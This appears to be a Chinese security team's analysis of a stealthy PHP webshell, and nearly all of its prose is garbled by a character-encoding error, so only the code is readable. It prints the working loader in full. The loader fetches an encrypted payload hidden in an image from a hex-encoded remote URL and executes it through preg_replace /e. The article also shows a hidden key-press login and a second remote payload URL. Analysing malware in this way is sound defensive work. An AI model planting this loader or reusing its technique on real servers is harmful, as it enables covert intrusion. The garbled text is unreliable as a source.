0x00
±³¾°
½üÈÕ£¬360ÍøÕ¾ÎÀÊ¿°²È«ÍŶӽüÆÚ²¶»ñÒ»¸ö»ùÓÚPHPʵÏÖµÄwebshellÑù±¾£¬ÆäÇÉÃîµÄ´úÂ붯̬Éú³É·½Ê½£¬â«ËöµÄ×ÔÉíÒ³ÃæÎ±×°ÊÖ·¨£¬ÈÃÎÒÃÇÔÚ·ÖÎöÕâ¸öÑù±¾µÄ¹ý³ÌÖиÐÊܵ½Ï൱¶àµÄÀÖȤ¡£½ÓÏÂÀ´¾ÍÈÃÎÒÃÇһͬ¹²ÉÍÕâ¸öÆæÝâµÄWebshell°É¡£
0x01 ϸ½Ú
Webshell´úÂëÈçÏ£º
<?php error_reporting(0); session_start(); header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api'])) $_SESSION['api']=substr(file_get_contents( sprintf('%s?%s',pack("H*", '687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067¡ä),uniqid())),3649); @preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null); ?> |
¹Ø¼ü¿´ÏÂÃæÕâ¾ä´úÂ룬
sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067¡ä),uniqid()) |
ÕâÀïÖ´ÐÐÖ®ºóÆäʵÊÇÒ»ÕÅͼƬ£¬½âÃܳöÀ´µÄͼƬµØÖ·ÈçÏ£º
http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85 |
È»ºóµ÷ÓÃfile_get_contentsº¯Êý¶ÁȡͼƬΪ×Ö·û´®£¬È»ºósubstrÈ¡3649×Ö½ÚÖ®ºóµÄÄÚÈÝ£¬ÔÙµ÷ÓÃgzuncompress½âѹ£¬µÃµ½ÕæÕýµÄ´úÂë¡£×îºóµ÷ÓÃpreg_replaceµÄÐÞÊηûeÀ´Ö´ÐжñÒâ´úÂëµÄ¡£ÕâÀïÖ´ÐÐÒÔÏÂÓï¾äÀ´»¹Ô³ö¶ñÒâÑù±¾´úÂ룬
<?php echo gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("H*", '687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067¡ä),uniqid())),3649)); ?> |
ÈçͼËùʾ£º

·ÖÎöÕâ¶Î´úÂ룬·¢ÏÖÕâÊÇÒ»¸öαװµÄ404ľÂí(ÕâÀïʵÔÚÊÇÌ«â«ËöÁË¡°ÑÒ³Ãæ±êÌâ¸Ä³É404 Not Found)£¬ÆäʵÕû¸öwebshell¾ÍÒ»¸öclassÍâ¼ÓÈý¸öfunction£¬ÈçÏÂͼ£º

Ê×ÏÈÎÒÏÈ¿´Ò»ÏÂËüµÄǰ¶Ëhtml´úÂ룬ÆäÖÐÓÐÕâôһ¶Îjs³ÌÐò
document.onkeydown = function(e) { var theEvent = window.event || e; var code = theEvent.keyCode || theEvent.which; if (80 == code) { $("login").style.display = "block" } } |
ÕâÀïËüÓÃdocument.onkeydown»ñÈ¡Óû§Çû÷¼üÅÌʼþ£¬µ±codeµÈÓÚ80µÄʱºòÏÔʾloginÕâ¸ödiv£¬ÕâÀï²éѯÁËÒ»ÏÂkeyCodeµÄ¶ÔÕÕ±í£¬²éµ½80¶ÔÓ¦pºÍP¼ü

ËùÒÔ´¥·¢webshellµÇ½ÐèÒª°´p¼ü(²»°´P¼üÒ³Ãæ¾ÍÊÇÒ»¸ö¿Õ°×Ò³£¬¿´²»µ½µÇ½¿ò)£¬ÈçͼËùʾ£º

Ôٻص½·þÎñ¶Ëphp´úÂëÖУ¬¿ÉÒÔ¿´µ½³ÌÐòÓõÄÊǶԳƼÓÃÜ£¬²¢ÇÒ½«µÇ½ÃÜÂë×÷Ϊ¼ÓÃÜkey£¬´úÂëÈçͼËùʾ£º

ÔÙ¿´init()µÄÂß¼

ÈçͼËùʾ£¬ÏÈ¿´Õâ¾ä´úÂë
$true = @gzuncompress(gzuncompress(Crypt::decrypt(pack('H*',
'789c63ac0bbec7b494f12cdb02f6dfac3f833731cf093e163a892990793ebf0a9f1c6b18bb68983b3b47a022002a840c59¡ä),
$_POST['key'], true))); |
¸ù¾ÝÕâ¸ö½âÃÜÂß¼ÎÒÃÇ¿ÉÒÔÍÆ³ö£¬ÕâÀïÆäʵÊǽ«×Ö·û´®true×öÁËÒÔϼÓÃÜ´¦Àí£¬
unpack('H*',Crypt::encrypt(gzcompress(gzcompress('true')), $_POST['key'] , true)) |
ËùÒÔµ±ÊäÈëÕýÈ·ÃÜÂëµÄʱºò@gzuncompress·µ»Ø×Ö·û´®true£¬È»ºó³ÌÐòµ÷ÓÃsetcookie¸ø¿Í»§¶Ë·µ»Ø$_COOKIE['key']£¬È»ºóÖµµÃÌáһϵÄÊǺóÃæÕâ¸öexit('{"status":"on"}')£¬ÕâÀïËüÓëǰ¶Ë´úÂëÁªÏµºÜ½ôÃÜ£¬ÎÒÃÇ¿´Ç°¶ËÓиöcallbackº¯Êý£¬ÈçÏÂ
function callback() { var json = eval("(" + this.responseText + ")"); if (json.status=='on'){ window.location.reload(); return; } if (json.notice) { $("notice").style.display = "block"; $("notice").innerHTML = json.notice; sideOut(); } } |
ÕâÀïÖ´ÐÐexit('{"status":"on"}')»á·µ»Øjson´®{"status":"on"}£¬´Ëʱǰ¶Ëjs´úÂëclassback()»ñÈ¡µ½´ËÏìÓ¦»áÖ´ÐÐwindow.location.reload()ˢУ¬ÔÙ´ÎÇëÇóÕýºÃ´øÉÏÇ°Ãæ»ñÈ¡µÄcookie£¬È»ºóÖ´ÐÐÅжÏCOOKIEµÄÂß¼£¬ÈçͼËùʾ£º

ÕâÀï¸úÇ°ÃæPOSTµÄÂß¼Ò»Ñù£¬ÏÂÃæµ±ÅжÏΪ'true'ÒÔºó£¬ÕâÀïÓÖÇëÇóÁËÒ»ÕÅͼƬ£¬pack³öÀ´µØÖ·Îªhttp://2012heike.googlecode.com/svn/trunk/code.jpg£¬È»ºóµ÷ÓÃ_REQUEST»ñȡͼƬÄÚÈÝ£¬½âÃܽâѹ֮ºóÔÙeval£¬·ÖÎöÖ®ºó·¢ÏÖcode.jpgÖвÅÊÇÕæÕýµÄwebshell¾¹ý¼ÓÃÜѹËõÖ®ºóµÄÄÚÈÝ¡£ÕâÀïÎÒ¸ú×ÙÁËһϴúÂë´òÓ¡³öÁËÕæÕýÖ´ÐеÄwebshellµÄÄÚÈÝ£º

µÇ½³É¹¦Ö®ºóµÄwebshellÈçÏÂͼ£º

0x02 ×ܽá
ÕâÊÇÒ»¸ö¸ß¶ÈÒþ±ÎµÄwebshell£¬ËüûÓÐÔÚÆä´úÂëÖÐÓõ½Ò»Ð©Î£ÏÕº¯ÊýºÍÃô¸Ð×Ö£¬¶øÊǽ«ÕæÕýµÄshellÄÚÈݾ¹ý²ã²ã¼ÓÃÜ´¦ÀíÖ®ºó±£´æµ½Í¼Æ¬µ±ÖУ¬¶ªµ½·þÎñÆ÷ÉÏÖ»ÁôÏÂÒ»¸öurl£¬²¢ÇÒurl»¹ÊǾ¹ý¼ÓÃÜ´¦ÀíµÄ£¬ËùÒÔ¶ÔÍ⿴ûÓÐÈκÎÌØÕ÷¿ÉѰ£¬¹ýµôÁË´ó¶àÊýwafÒÔ¼°É±ÈíµÄ²éɱ¡£¡£×÷ÕßµÄÀûÓÃ˼·ÐÂÓ±£¬²¢ÇÒǰ¶Ëºó¶Ë½áºÏ½ôÃÜ£¬´úÂ뾫¼ò£¬¸÷ÖÖÆæ¼¼ÒùÇÉ£¬ÓбðÓÚ³£¼ûµÄwebshellºóÃÅ£¬ÁîÈËÅå·þ£¡ |